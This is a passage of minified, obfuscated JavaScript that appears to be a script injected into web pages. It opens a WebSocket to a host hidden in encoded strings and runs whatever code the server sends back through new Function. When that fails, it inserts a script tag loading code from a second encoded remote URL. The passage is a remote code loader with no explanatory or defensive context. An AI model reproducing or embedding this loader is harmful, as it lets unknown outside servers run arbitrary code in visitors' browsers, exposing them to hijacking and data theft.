WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};